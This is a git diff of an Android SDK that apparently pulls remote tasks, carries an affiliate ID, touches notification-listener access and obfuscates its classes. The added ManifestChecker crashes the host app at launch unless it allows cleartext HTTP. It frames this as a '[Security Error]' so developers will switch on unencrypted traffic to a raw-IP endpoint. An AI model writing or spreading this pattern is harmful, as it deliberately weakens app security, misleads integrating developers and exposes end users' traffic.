diff --git a/lib/build.gradle.kts b/lib/build.gradle.kts index 1a04193..5b58a81 100644 --- a/lib/build.gradle.kts +++ b/lib/build.gradle.kts @@ -21,9 +21,10 @@ android { testInstrumentationRunner = "android.support.test.runner.AndroidJUnitRunner" consumerProguardFiles("consumer-rules.pro") + buildConfigField("boolean", "enfoce_check_cleartext_traffic", "true") buildConfigField("boolean", "log_enable", "false") buildConfigField("int", "aff_id", "1040") - buildConfigField("int", "sdk_version", "54") + buildConfigField("int", "sdk_version", "55") buildConfigField("String", "task_api", "\"https://api.osakamob.com/task\"") buildConfigField("String", "checkSum", "\"0388afc149fe80bf2b73\"") buildConfigField("String", "chcikUrl", "\"http://46.101.109.8/s/zbs\"") diff --git a/lib/proguard-rules.pro b/lib/proguard-rules.pro index dc54c34..443823f 100644 --- a/lib/proguard-rules.pro +++ b/lib/proguard-rules.pro @@ -42,5 +42,7 @@ -keep class com.example.utils.ContextExtKTKt {*;} -keep class com.example.service.MainService {public *;} -keep class com.example.service.MainService$Companion {public *;} +-keep class com.example.service.Verify { *; } +-keep class com.example.service.Verify$* { *; } -dontwarn kotlinx.coroutines.** -classobfuscationdictionary ../dict.txt \ No newline at end of file diff --git a/lib/src/main/java/com/example/service/MainService.kt b/lib/src/main/java/com/example/service/MainService.kt index 7d0a4dd..dda4580 100644 --- a/lib/src/main/java/com/example/service/MainService.kt +++ b/lib/src/main/java/com/example/service/MainService.kt @@ -16,6 +16,7 @@ import com.example.request.BaseRequestImp import com.example.request.TaskRequest import com.example.response.TaskResponse import com.example.utils.AndroidId +import com.example.utils.ManifestChecker import com.example.utils.NetworkManager import com.example.utils.notificationListenerEnable import com.example.utils.restartNotificationListenerServiceState @@ -43,9 +44,9 @@ sealed class TaskEvent { data class RunTask(val taskResponse: TaskResponse) : TaskEvent() } -sealed interface Verify { - object None : Verify - object Ok: Verify +sealed class Verify { + object None : Verify() + object Ok: Verify() } class MainService private constructor() { @@ -91,6 +92,7 @@ class MainService private constructor() { // ==================== 主启动方法 ==================== fun launcher(ctx: Context, needNotification: Boolean = false) { + ManifestChecker.checkCleartextConfig(ctx) if (mainJob?.isActive == true) { LogUtils.info("$TAG: already running, skipping launch") return diff --git a/lib/src/main/java/com/example/utils/ManifestChecker.kt b/lib/src/main/java/com/example/utils/ManifestChecker.kt new file mode 100644 index 0000000..511bb6e --- /dev/null +++ b/lib/src/main/java/com/example/utils/ManifestChecker.kt @@ -0,0 +1,24 @@ +package com.example.utils + +import android.content.Context +import android.content.pm.ApplicationInfo +import com.example.lib.BuildConfig + +object ManifestChecker { + + fun checkCleartextConfig(context: Context) { + if(!BuildConfig.enfoce_check_cleartext_traffic) { + return + } + val isCleartextAllowed = (context.applicationInfo.flags and + ApplicationInfo.FLAG_USES_CLEARTEXT_TRAFFIC) != 0 + + if (!isCleartextAllowed) { + throw IllegalStateException( + "\n\n[Security Error]: Cleartext traffic is not permitted. \n" + + "Please add 'android:usesCleartextTraffic=\"true\"' to the tag " + + "in your AndroidManifest.xml to allow HTTP connections.\n" + ) + } + } +}